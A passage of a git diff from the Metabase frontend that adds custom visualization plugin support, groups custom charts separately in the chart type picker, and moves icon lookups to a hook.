export type ShortcutGroup = keyof typeof GROUP_LABELS;
diff --git a/frontend/src/metabase/plugins/index.ts b/frontend/src/metabase/plugins/index.ts
index c01acd65909..52f925e77e4 100644
--- a/frontend/src/metabase/plugins/index.ts
+++ b/frontend/src/metabase/plugins/index.ts
@@ -28,6 +28,7 @@ export {
type CollectionAuthorityLevelIcon,
} from "./oss/collections";
export { PLUGIN_CONTENT_TRANSLATION } from "./oss/content-translation";
+export { PLUGIN_CUSTOM_VIZ } from "./oss/custom-viz";
export {
PLUGIN_CONTENT_VERIFICATION,
type ModelFilterControlsProps,
@@ -170,6 +171,7 @@ import { reinitialize as reinitializeCollections } from "./oss/collections";
import { reinitialize as reinitializeContentTranslation } from "./oss/content-translation";
import { reinitialize as reinitializeContentVerification } from "./oss/content-verification";
import { reinitialize as reinitializeCore } from "./oss/core";
+import { reinitialize as reinitializeCustomViz } from "./oss/custom-viz";
import { reinitialize as reinitializeDatabase } from "./oss/database";
import { reinitialize as reinitializeDependencies } from "./oss/dependencies";
import { reinitialize as reinitializeEmbedding } from "./oss/embedding";
@@ -213,6 +215,7 @@ export function reinitialize() {
reinitializeContentTranslation();
reinitializeContentVerification();
reinitializeCore();
+ reinitializeCustomViz();
reinitializeDatabase();
reinitializeEmbedding();
reinitializeEmbeddingIframeSdk();
diff --git a/frontend/src/metabase/plugins/oss/collections.ts b/frontend/src/metabase/plugins/oss/collections.ts
index f5bbe77b35d..c1ac520ae5a 100644
--- a/frontend/src/metabase/plugins/oss/collections.ts
+++ b/frontend/src/metabase/plugins/oss/collections.ts
@@ -7,7 +7,7 @@ import type {
CollectionAuthorityLevelConfig,
CollectionInstanceAnaltyicsConfig,
} from "metabase/collections/types";
-import { getIconBase } from "metabase/common/utils/icon";
+import { useGetIconBase } from "metabase/hooks/use-icon";
import { PluginPlaceholder } from "metabase/plugins/components/PluginPlaceholder";
import type { IconProps } from "metabase/ui";
import type {
@@ -78,10 +78,7 @@ const getDefaultPluginCollections = () => ({
_collection: Collection,
_onUpdate: (collection: Collection, values: Partial<Collection>) => void,
): React.ReactNode[] => [],
- getIcon: (
- item: Parameters<typeof getIconBase>[0],
- _opts?: { isTenantUser?: boolean },
- ) => getIconBase(item),
+ useGetIcon: useGetIconBase,
filterOutItemsFromInstanceAnalytics: <Item extends ItemWithCollection>(
items: Item[],
) => items as Item[],
diff --git a/frontend/src/metabase/plugins/oss/custom-viz.ts b/frontend/src/metabase/plugins/oss/custom-viz.ts
new file mode 100644
index 00000000000..558e324f9fa
--- /dev/null
+++ b/frontend/src/metabase/plugins/oss/custom-viz.ts
@@ -0,0 +1,54 @@
+import type { ComponentType } from "react";
+
+import type { IconData } from "metabase/common/utils/icon";
+import { PluginPlaceholder } from "metabase/plugins/components/PluginPlaceholder";
+import type {
+ CustomVizPluginRuntime,
+ VisualizationDisplay,
+} from "metabase-types/api";
+import { isCustomVizDisplay } from "metabase-types/guards";
+
+// prevents infinite render loop
+const noopCustomVizIcon = (
+ _display: VisualizationDisplay,
+): { icon: IconData | undefined; isLoading: boolean } => ({
+ icon: undefined,
+ isLoading: false,
+});
+
+const getDefaultPluginCustomViz = () => ({
+ // Admin settings pages
+ ManageCustomVizPage: PluginPlaceholder as ComponentType<any>,
+ CustomVizPage: PluginPlaceholder as ComponentType<any>,
+ CustomVizDevPage: PluginPlaceholder as ComponentType<any>,
+
+ // Hooks & functions
+ useAutoLoadCustomVizPlugin: (_display: string | undefined) => ({
+ loading: false,
+ }),
+ useCustomVizPlugins: (_opts?: { enabled?: boolean }) =>
+ ({ plugins: undefined, isLoading: false }) as {
+ plugins: CustomVizPluginRuntime[] | undefined;
+ isLoading: boolean;
+ },
+ loadCustomVizPlugin: async (
+ _plugin: CustomVizPluginRuntime,
+ _cacheBustSuffix?: string,
+ _onInfo?: (message: string) => void,
+ ) => null as string | null,
+ getPluginAssetUrl: (_pluginId: number, _assetPath: string | null) =>
+ undefined as string | undefined,
+ useCustomVizPluginsIcon: () => noopCustomVizIcon,
+
+ // Must be functional in OSS — pure string check used by getSensibleVisualizations
+ isCustomVizDisplay,
+});
+
+export const PLUGIN_CUSTOM_VIZ = getDefaultPluginCustomViz();
+
+/**
+ * @internal Do not call directly. Use the main reinitialize function from metabase/plugins instead.
+ */
+export function reinitialize() {
+ Object.assign(PLUGIN_CUSTOM_VIZ, getDefaultPluginCustomViz());
+}
diff --git a/frontend/src/metabase/public/containers/PublicDocument/PublicDocument.tsx b/frontend/src/metabase/public/containers/PublicDocument/PublicDocument.tsx
index 071880b801d..f8db7671f89 100644
--- a/frontend/src/metabase/public/containers/PublicDocument/PublicDocument.tsx
+++ b/frontend/src/metabase/public/containers/PublicDocument/PublicDocument.tsx
@@ -9,6 +9,7 @@ import { useAsync, useMount } from "react-use";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
import CS from "metabase/css/core/index.css";
import { ExternalCardDataProvider } from "metabase/documents/contexts/ExternalCardDataContext";
+import { EmbeddingEntityContextProvider } from "metabase/embedding/context";
import { EmbedFrame } from "metabase/public/components/EmbedFrame";
import { useEmbedFrameOptions } from "metabase/public/hooks";
import { useDispatch, useSelector } from "metabase/redux";
@@ -131,34 +132,39 @@ export const PublicDocument = ({ location, params }: PublicDocumentProps) => {
);
return (
- <EmbedFrame
- theme={theme}
- titled={false}
- className={S.container}
- contentClassName={S.documentArea}
- background={false}
- withFooter={hasEmbedBranding}
- >
- <LoadingAndErrorWrapper
- loading={loading}
- noBackground
- style={{
- display: "flex",
- flex: 1,
- flexDirection: "column",
- }}
+ <EmbeddingEntityContextProvider uuid={uuid} token={null}>
+ <EmbedFrame
+ theme={theme}
+ titled={false}
+ className={S.container}
+ contentClassName={S.documentArea}
+ background={false}
+ withFooter={hasEmbedBranding}
>
- {document && editor && (
- <ExternalCardDataProvider value={externalCardDataValue}>
- <Box maw={900} mx="auto" p="xl" w="100%">
- <h1 style={{ marginBottom: "1rem" }}>{document.name}</h1>
- <div className={S.editorContent}>
- <EditorContent data-testid="document-content" editor={editor} />
- </div>
- </Box>
- </ExternalCardDataProvider>
- )}
- </LoadingAndErrorWrapper>
- </EmbedFrame>
+ <LoadingAndErrorWrapper
+ loading={loading}
+ noBackground
+ style={{
+ display: "flex",
+ flex: 1,
+ flexDirection: "column",
+ }}
+ >
+ {document && editor && (
+ <ExternalCardDataProvider value={externalCardDataValue}>
+ <Box maw={900} mx="auto" p="xl" w="100%">
+ <h1 style={{ marginBottom: "1rem" }}>{document.name}</h1>
+ <div className={S.editorContent}>
+ <EditorContent
+ data-testid="document-content"
+ editor={editor}
+ />
+ </div>
+ </Box>
+ </ExternalCardDataProvider>
+ )}
+ </LoadingAndErrorWrapper>
+ </EmbedFrame>
+ </EmbeddingEntityContextProvider>
);
};
diff --git a/frontend/src/metabase/query_builder/actions/core/core.ts b/frontend/src/metabase/query_builder/actions/core/core.ts
index 35859d57571..f8c9f55e78a 100644
--- a/frontend/src/metabase/query_builder/actions/core/core.ts
+++ b/frontend/src/metabase/query_builder/actions/core/core.ts
@@ -26,6 +26,7 @@ import * as Urls from "metabase/urls";
import { clone } from "metabase/utils/clone";
import { shouldOpenInBlankWindow } from "metabase/utils/dom";
import { isNotNull } from "metabase/utils/types";
+import { getDefaultSize } from "metabase/visualizations";
import { getCardAfterVisualizationClick } from "metabase/visualizations/lib/utils";
import * as Lib from "metabase-lib";
import Question from "metabase-lib/v1/Question";
@@ -375,10 +376,13 @@ async function reduxCreateQuestion(
dispatch: Dispatch,
options?: OnCreateOptions,
) {
+ const display = question.display();
+ const size = getDefaultSize(display);
const action = await dispatch(
Questions.actions.create({
...question.card(),
dashboard_tab_id: options?.dashboardTabId,
+ ...(size && { size_x: size.width, size_y: size.height }),
}),
);
return question.setCard(Questions.HACK_getObjectFromAction(action));
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeList/ChartTypeList.tsx b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeList/ChartTypeList.tsx
index dc6f8556ea9..f6c2c9a29f1 100644
--- a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeList/ChartTypeList.tsx
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeList/ChartTypeList.tsx
@@ -1,10 +1,10 @@
import { Grid } from "metabase/ui";
-import type { CardDisplayType } from "metabase-types/api";
+import type { VisualizationDisplay } from "metabase-types/api";
import { ChartTypeOption, type ChartTypeOptionProps } from "../ChartTypeOption";
export type ChartTypeListProps = {
- visualizationList: CardDisplayType[];
+ visualizationList: VisualizationDisplay[];
"data-testid"?: string;
} & Pick<
ChartTypeOptionProps,
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeOption/ChartTypeOption.tsx b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeOption/ChartTypeOption.tsx
index b7fc1af6f8e..412083b6399 100644
--- a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeOption/ChartTypeOption.tsx
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeOption/ChartTypeOption.tsx
@@ -1,16 +1,25 @@
import cx from "classnames";
+import { t } from "ttag";
-import { ActionIcon, Center, Icon, Stack, Text } from "metabase/ui";
-import { checkNotNull } from "metabase/utils/types";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import {
+ ActionIcon,
+ Badge,
+ Center,
+ Icon,
+ Stack,
+ Text,
+ Tooltip,
+} from "metabase/ui";
import visualizations from "metabase/visualizations";
-import type { CardDisplayType } from "metabase-types/api";
+import type { VisualizationDisplay } from "metabase-types/api";
import ChartTypeOptionS from "./ChartTypeOption.module.css";
export type ChartTypeOptionProps = {
- onSelectVisualization: (display: CardDisplayType) => void;
- visualizationType: CardDisplayType;
- selectedVisualization: CardDisplayType;
+ onSelectVisualization: (display: VisualizationDisplay) => void;
+ visualizationType: VisualizationDisplay;
+ selectedVisualization: VisualizationDisplay;
onOpenSettings?: () => void;
};
@@ -20,9 +29,13 @@ export const ChartTypeOption = ({
onSelectVisualization,
onOpenSettings,
}: ChartTypeOptionProps) => {
- const visualization = checkNotNull(visualizations.get(visualizationType));
+ const visualization = visualizations.get(visualizationType);
const isSelected = selectedVisualization === visualizationType;
+ const displayName = visualization?.getUiName() ?? visualizationType;
+ const iconName = visualization?.iconName;
+ const hasCustomIcon = !!visualization?.iconUrl;
+
return (
<Center pos="relative" data-testid="chart-type-option">
<Stack
@@ -30,7 +43,7 @@ export const ChartTypeOption = ({
gap="xs"
role="option"
aria-selected={isSelected}
- data-testid={`${visualization.getUiName()}-container`}
+ data-testid={`${displayName}-container`}
>
<ActionIcon
w="3.125rem"
@@ -50,12 +63,19 @@ export const ChartTypeOption = ({
ChartTypeOptionS.BorderedButton,
ChartTypeOptionS.VisualizationButton,
)}
- data-testid={`${visualization.getUiName()}-button`}
+ data-testid={`${displayName}-button`}
>
- <Icon
- name={visualization.iconName}
- c={isSelected ? "white" : "brand"}
+ <EntityIcon
+ name={iconName ?? "unknown"}
+ iconUrl={visualization?.iconUrl}
+ alt={displayName}
+ color={isSelected ? "white" : "brand"}
size={20}
+ style={
+ hasCustomIcon && isSelected
+ ? { filter: "brightness(0) invert(1)" }
+ : undefined
+ }
/>
</ActionIcon>
@@ -86,8 +106,19 @@ export const ChartTypeOption = ({
color={isSelected ? "brand" : "text-secondary"}
data-testid="chart-type-option-label"
>
- {visualization.getUiName()}
+ {displayName}
</Text>
+
+ {visualization?.isDev && (
+ <Tooltip
+ label={t`This is a development version of the visualization`}
+ >
+ <Badge
+ variant="outline"
+ aria-label={t`This is a development version of the visualization`}
+ >{t`dev`}</Badge>
+ </Tooltip>
+ )}
</Stack>
</Center>
);
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.tsx b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.tsx
index fc1626248d2..19c832bc8f9 100644
--- a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.tsx
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.tsx
@@ -1,11 +1,15 @@
+import { useMemo } from "react";
import { t } from "ttag";
import { CollapseSection } from "metabase/common/components/CollapseSection";
+import { PLUGIN_CUSTOM_VIZ } from "metabase/plugins";
import { Space, Stack, type StackProps, Text } from "metabase/ui";
+import type { VisualizationDisplay } from "metabase-types/api";
import { ChartTypeList, type ChartTypeListProps } from "../ChartTypeList";
import S from "./ChartTypeSettings.module.css";
+import type { ChartTypeGroup } from "./types";
export type ChartTypeSettingsProps = {
sensibleVisualizations: ChartTypeListProps["visualizationList"];
@@ -24,6 +28,27 @@ export const ChartTypeSettings = ({
onOpenSettings,
...stackProps
}: ChartTypeSettingsProps) => {
+ const collapsibleGroups = useMemo(() => {
+ const builtIn: VisualizationDisplay[] = [];
+ const custom: VisualizationDisplay[] = [];
+ const groups: ChartTypeGroup[] = [
+ { label: t`More charts`, testId: "more-charts-toggle", items: builtIn },
+ {
+ label: t`Custom visualizations`,
+ testId: "custom-viz-plugins-toggle",
+ items: custom,
+ },
+ ];
+ for (const viz of nonSensibleVisualizations) {
+ if (PLUGIN_CUSTOM_VIZ.isCustomVizDisplay(viz)) {
+ custom.push(viz);
+ } else {
+ builtIn.push(viz);
+ }
+ }
+ return groups.filter((group) => group.items.length);
+ }, [nonSensibleVisualizations]);
+
return (
<Stack data-testid="chart-type-settings" {...stackProps}>
<ChartTypeList
@@ -34,38 +59,43 @@ export const ChartTypeSettings = ({
onOpenSettings={onOpenSettings}
/>
- <Space h="xl" />
-
- <CollapseSection
- header={
- <Text
- fw="bold"
- c="inherit"
- tt="uppercase"
- fz="sm"
- data-testid="more-charts-toggle"
- >{t`More charts`}</Text>
- }
- headerClass={S.moreChartsHeader}
- initialState={
- nonSensibleVisualizations.includes(selectedVisualization)
- ? "expanded"
- : "collapsed"
- }
- iconPosition="right"
- iconSize={10}
- >
- <>
- <Space h="md" />
- <ChartTypeList
- data-testid="display-options-not-sensible"
- visualizationList={nonSensibleVisualizations}
- onSelectVisualization={onSelectVisualization}
- selectedVisualization={selectedVisualization}
- onOpenSettings={onOpenSettings}
- />
- </>
- </CollapseSection>
+ {collapsibleGroups.map((group) => (
+ <div key={group.testId}>
+ <Space h="xl" />
+ <CollapseSection
+ header={
+ <Text
+ fw="bold"
+ c="inherit"
+ tt="uppercase"
+ fz="sm"
+ data-testid={group.testId}
+ >
+ {group.label}
+ </Text>
+ }
+ headerClass={S.moreChartsHeader}
+ initialState={
+ group.items.includes(selectedVisualization)
+ ? "expanded"
+ : "collapsed"
+ }
+ iconPosition="right"
+ iconSize={10}
+ >
+ <>
+ <Space h="md" />
+ <ChartTypeList
+ data-testid={`display-options-${group.testId}`}
+ visualizationList={group.items}
+ onSelectVisualization={onSelectVisualization}
+ selectedVisualization={selectedVisualization}
+ onOpenSettings={onOpenSettings}
+ />
+ </>
+ </CollapseSection>
+ </div>
+ ))}
</Stack>
);
};
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.unit.spec.tsx b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.unit.spec.tsx
index 5e4338aa06e..49b17659b7a 100644
--- a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.unit.spec.tsx
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/ChartTypeSettings.unit.spec.tsx
@@ -55,7 +55,7 @@ describe("ChartTypeSettings", () => {
setup({ selectedVisualization: "pie" });
expect(getIcon("chevrondown")).toBeInTheDocument();
expect(
- screen.getByTestId("display-options-not-sensible"),
+ screen.getByTestId("display-options-more-charts-toggle"),
).toBeInTheDocument();
});
@@ -73,7 +73,9 @@ describe("ChartTypeSettings", () => {
it("passes correct props to ChartTypeLists", () => {
setup({ selectedVisualization: "pie" });
const sensibleList = screen.getByTestId("display-options-sensible");
- const nonSensibleList = screen.getByTestId("display-options-not-sensible");
+ const nonSensibleList = screen.getByTestId(
+ "display-options-more-charts-toggle",
+ );
expect(sensibleList).toHaveAttribute(
"data-testid",
@@ -81,7 +83,7 @@ describe("ChartTypeSettings", () => {
);
expect(nonSensibleList).toHaveAttribute(
"data-testid",
- "display-options-not-sensible",
+ "display-options-more-charts-toggle",
);
});
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/types.ts b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/types.ts
new file mode 100644
index 00000000000..a7103b7c441
--- /dev/null
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/ChartTypeSettings/types.ts
@@ -0,0 +1,7 @@
+import type { VisualizationDisplay } from "metabase-types/api";
+
+export type ChartTypeGroup = {
+ label: string;
+ testId: string;
+ items: VisualizationDisplay[];
+};
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/sensibility-grouping.ts b/frontend/src/metabase/query_builder/components/chart-type-selector/sensibility-grouping.ts
index cf7038205a5..bd98bd7317f 100644
--- a/frontend/src/metabase/query_builder/components/chart-type-selector/sensibility-grouping.ts
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/sensibility-grouping.ts
@@ -11,7 +11,12 @@ import {
isMetric,
isState,
} from "metabase-lib/v1/types/utils/isa";
-import type { CardDisplayType, DatasetData } from "metabase-types/api";
+import {
+ type CardDisplayType,
+ type DatasetData,
+ type QueryVisualizationDisplayType,
+ isCardDisplayType,
+} from "metabase-types/api";
const MAX_RECOMMENDED = 12;
@@ -22,14 +27,14 @@ export type VisualizationSensibility =
export type SensibilityGroups = Record<
VisualizationSensibility,
- CardDisplayType[]
+ QueryVisualizationDisplayType[]
>;
export function groupVisualizationsBySensibility({
orderedVizTypes,
data,
}: {
- orderedVizTypes: CardDisplayType[];
+ orderedVizTypes: QueryVisualizationDisplayType[];
data: DatasetData;
}): SensibilityGroups {
const groups: SensibilityGroups = {
@@ -55,7 +60,8 @@ export function groupVisualizationsBySensibility({
);
groups.recommended = sensibleRecommendations;
groups.sensible = groups.sensible.filter(
- (vizType) => !sensibleRecommendations.includes(vizType),
+ (vizType) =>
+ isCardDisplayType(vizType) && !sensibleRecommendations.includes(vizType),
);
while (groups.recommended.length > MAX_RECOMMENDED) {
@@ -68,8 +74,9 @@ export function groupVisualizationsBySensibility({
function getRecommendedVisualizations(
data: DatasetData,
- sensible: CardDisplayType[],
-): CardDisplayType[] {
+ sensible: QueryVisualizationDisplayType[],
+ // Custom Visualizations are not grouped by sensibility, they will always have their separate group
+): QueryVisualizationDisplayType[] {
const { cols, rows } = data;
const metricCount = cols.filter(isMetric).length;
const dimensionCount = cols.filter(isDimension).length;
diff --git a/frontend/src/metabase/query_builder/components/chart-type-selector/use-question-visualization-state.ts b/frontend/src/metabase/query_builder/components/chart-type-selector/use-question-visualization-state.ts
index a24e11b79dc..f4b5061ed91 100644
--- a/frontend/src/metabase/query_builder/components/chart-type-selector/use-question-visualization-state.ts
+++ b/frontend/src/metabase/query_builder/components/chart-type-selector/use-question-visualization-state.ts
@@ -5,10 +5,12 @@ import visualizations from "metabase/visualizations";
import { sanitizeResultData } from "metabase/visualizations/shared/utils/data";
import type Question from "metabase-lib/v1/Question";
import {
- type CardDisplayType,
type Dataset,
+ type QueryVisualizationDisplayType,
+ type VisualizationDisplay,
isCardDisplayType,
} from "metabase-types/api";
+import { isCustomVizDisplay } from "metabase-types/guards/visualization";
import { groupVisualizationsBySensibility } from "./sensibility-grouping";
import { DEFAULT_VIZ_ORDER } from "./viz-order";
@@ -25,7 +27,7 @@ export const useQuestionVisualizationState = ({
const selectedVisualization = question?.display() ?? "table";
const updateQuestionVisualization = useCallback(
- (display: CardDisplayType) => {
+ (display: VisualizationDisplay) => {
if (!question || selectedVisualization === display) {
return;
}
@@ -52,13 +54,23 @@ export type GetSensibleVisualizationsProps = {
result: Dataset | null;
};
+const isSupportedVisualization = (
+ display: string,
+): display is QueryVisualizationDisplayType =>
+ isCardDisplayType(display) || isCustomVizDisplay(display);
+
export const getSensibleVisualizations = ({
result,
}: GetSensibleVisualizationsProps) => {
- const availableVizTypes = Array.from(visualizations.entries())
- .filter(([_display, config]) => !config.hidden)
- .map(([vizType]) => vizType)
- .filter(isCardDisplayType);
+ const availableVizTypes = Array.from(visualizations.entries()).reduce<
+ QueryVisualizationDisplayType[]
+ >((types, [vizType, config]) => {
+ if (!config.hidden && isSupportedVisualization(vizType)) {
+ types.push(vizType);
+ }
+
+ return types;
+ }, []);
const orderedVizTypes = _.union(DEFAULT_VIZ_ORDER, availableVizTypes);
diff --git a/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/SourceModelBreadcrumbs.tsx b/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/SourceModelBreadcrumbs.tsx
index e6973a33f6a..e869e6bf653 100644
--- a/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/SourceModelBreadcrumbs.tsx
+++ b/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/SourceModelBreadcrumbs.tsx
@@ -2,14 +2,13 @@ import type { ReactElement } from "react";
import { t } from "ttag";
import { skipToken, useGetCollectionQuery } from "metabase/api";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { Tooltip } from "metabase/ui";
import * as Urls from "metabase/urls";
import type Question from "metabase-lib/v1/Question";
import { HeadBreadcrumbs } from "../HeaderBreadcrumbs/HeaderBreadcrumbs";
-import { getQuestionIcon } from "./utils";
-
interface SourceModelBreadcrumbsProps {
divider?: ReactElement | string;
question: Question;
@@ -21,6 +20,7 @@ export function SourceModelBreadcrumbs({
...props
}: SourceModelBreadcrumbsProps) {
const collectionId = question.collectionId();
+ const getIcon = useGetIcon();
const { data: collection, isLoading } = useGetCollectionQuery(
collectionId ? { id: collectionId } : skipToken,
@@ -37,7 +37,7 @@ export function SourceModelBreadcrumbs({
<HeadBreadcrumbs.Badge
key="collection"
to={Urls.collection(collection)}
- icon={getQuestionIcon(question)}
+ icon={getIcon({ model: "card", type: question.type() }).name}
inactiveColor="text-tertiary"
>
{collection?.name || t`Our analytics`}
diff --git a/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/utils.tsx b/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/utils.tsx
index d918742a1e8..efde13f4b1c 100644
--- a/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/utils.tsx
+++ b/frontend/src/metabase/query_builder/components/view/ViewHeader/components/QuestionDataSource/utils.tsx
@@ -1,7 +1,6 @@
import { type ReactElement, isValidElement } from "react";
import { TableInfoIcon } from "metabase/common/components/MetadataInfo/TableInfoIcon/TableInfoIcon";
-import { getIcon } from "metabase/common/utils/icon";
import type { IconName } from "metabase/ui";
import * as Urls from "metabase/urls";
import { isNotNull } from "metabase/utils/types";
@@ -192,7 +191,3 @@ function getTableURL(table: Table) {
}
return Urls.question(table.newQuestion());
}
-
-export function getQuestionIcon(question: Question): IconName {
- return getIcon({ model: "card", type: question.type() }).name;
-}
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/ChartTypeSidebar/ChartTypeSidebar.tsx b/frontend/src/metabase/query_builder/components/view/sidebars/ChartTypeSidebar/ChartTypeSidebar.tsx
index 15cc5be09aa..c506e5a0a25 100644
--- a/frontend/src/metabase/query_builder/components/view/sidebars/ChartTypeSidebar/ChartTypeSidebar.tsx
+++ b/frontend/src/metabase/query_builder/components/view/sidebars/ChartTypeSidebar/ChartTypeSidebar.tsx
@@ -1,9 +1,11 @@
import cx from "classnames";
-import { useMemo, useRef } from "react";
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { t } from "ttag";
import { SidebarContent } from "metabase/common/components/SidebarContent";
+import { useToast } from "metabase/common/hooks";
import CS from "metabase/css/core/index.css";
+import { PLUGIN_CUSTOM_VIZ } from "metabase/plugins";
import { updateQuestion } from "metabase/query_builder/actions";
import {
ChartTypeSettings,
@@ -20,7 +22,7 @@ import {
} from "metabase/redux/query-builder";
import * as Lib from "metabase-lib";
import type Question from "metabase-lib/v1/Question";
-import type { CardDisplayType } from "metabase-types/api";
+import type { VisualizationDisplay } from "metabase-types/api";
export type ChartTypeSidebarProps = Pick<
UseQuestionVisualizationStateProps,
@@ -33,6 +35,44 @@ export const ChartTypeSidebar = ({
result,
}: ChartTypeSidebarProps) => {
const dispatch = useDispatch();
+ const [sendToast] = useToast();
+ const { plugins: customVizPlugins } = PLUGIN_CUSTOM_VIZ.useCustomVizPlugins();
+ const [pluginsLoaded, setPluginsLoaded] = useState(false);
+
+ const onInfo = useCallback(
+ (message: string) => sendToast({ message }),
+ [sendToast],
+ );
+
+ // Eagerly load all custom viz plugins so they register in the
+ // visualizations Map and can be rendered by ChartTypeOption.
+ useEffect(() => {
+ if (!customVizPlugins) {
+ // Plugin list query still loading — don't mark loaded yet, otherwise
+ // the later setPluginsLoaded(true) after bundles resolve is a no-op
+ // and the picker never recomputes to include custom viz.
+ return;
+ }
+ if (customVizPlugins.length === 0) {
+ setPluginsLoaded(true);
+ return;
+ }
+
+ let cancelled = false;
+ Promise.all(
+ customVizPlugins.map((plugin) =>
+ PLUGIN_CUSTOM_VIZ.loadCustomVizPlugin(plugin, undefined, onInfo),
+ ),
+ ).then(() => {
+ if (!cancelled) {
+ setPluginsLoaded(true);
+ }
+ });
+
+ return () => {
+ cancelled = true;
+ };
+ }, [customVizPlugins, onInfo]);
const onUpdateQuestion = (newQuestion: Question) => {
if (question) {
@@ -49,7 +89,8 @@ export const ChartTypeSidebar = ({
const initialResultRef = useRef(result);
const { sensibleVisualizations, nonSensibleVisualizations } = useMemo(
() => getSensibleVisualizations({ result: initialResultRef.current }),
- [],
+ // eslint-disable-next-line react-hooks/exhaustive-deps -- recompute after plugins are loaded
+ [result, pluginsLoaded],
);
const { selectedVisualization, updateQuestionVisualization } =
@@ -58,7 +99,7 @@ export const ChartTypeSidebar = ({
onUpdateQuestion,
});
- const handleSelectVisualization = (display: CardDisplayType) => {
+ const handleSelectVisualization = (display: VisualizationDisplay) => {
updateQuestionVisualization(display);
};
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/ModelUsageDetails.tsx b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/ModelUsageDetails.tsx
index eb9b25838ee..c386e6423b0 100644
--- a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/ModelUsageDetails.tsx
+++ b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/ModelUsageDetails.tsx
@@ -3,7 +3,7 @@ import { t } from "ttag";
import { useListCardsQuery } from "metabase/api";
import { Link } from "metabase/common/components/Link";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import type { IconName } from "metabase/ui";
import { Group, Icon, Repeat, Skeleton, Stack, Text } from "metabase/ui";
import * as Urls from "metabase/urls";
@@ -17,6 +17,7 @@ type ModelUsageDetailsProps = {
};
export function ModelUsageDetails({ model }: ModelUsageDetailsProps) {
+ const getIcon = useGetIcon();
const {
data: cards = [],
error,
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/QuestionSources.tsx b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/QuestionSources.tsx
index 4ac3694e75c..b101b3ad8af 100644
--- a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/QuestionSources.tsx
+++ b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/QuestionSources.tsx
@@ -3,7 +3,7 @@ import { c } from "ttag";
import { Link } from "metabase/common/components/Link";
import { SidesheetCardSection } from "metabase/common/components/Sidesheet";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { getQuestionWithoutComposing } from "metabase/query_builder/selectors";
import { useSelector } from "metabase/redux";
import { Flex, FixedSizeIcon as Icon } from "metabase/ui";
@@ -13,6 +13,7 @@ import { getDataSourceParts } from "../../../ViewHeader/components/QuestionDataS
import type { QuestionSource } from "./types";
export const QuestionSources = () => {
+ const getIcon = useGetIcon();
/** Retrieve current question from the Redux store */
const underlyingQuestion = useSelector(getQuestionWithoutComposing);
@@ -29,7 +30,7 @@ export const QuestionSources = () => {
...source,
iconProps: getIcon({ model: source.model ?? "card" }),
}));
- }, [underlyingQuestion]);
+ }, [underlyingQuestion, getIcon]);
if (!underlyingQuestion || !sourcesWithIcons.length) {
return null;
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/TablesLinkedToQuestion.tsx b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/TablesLinkedToQuestion.tsx
index ae86762f670..910fe14c22b 100644
--- a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/TablesLinkedToQuestion.tsx
+++ b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/TablesLinkedToQuestion.tsx
@@ -7,16 +7,16 @@ import { useSelector } from "metabase/redux";
import { Flex, Icon, Stack, Text } from "metabase/ui";
import { ToggleFullList } from "./ToggleFullList";
-import { useExpandableList } from "./hooks";
+import { useExpandableList, useGetJoinedTablesWithIcons } from "./hooks";
import type { QuestionSource } from "./types";
-import { getJoinedTablesWithIcons } from "./utils";
/** Displays tables linked to the question via a foreign-key relationship */
export const TablesLinkedToQuestion = () => {
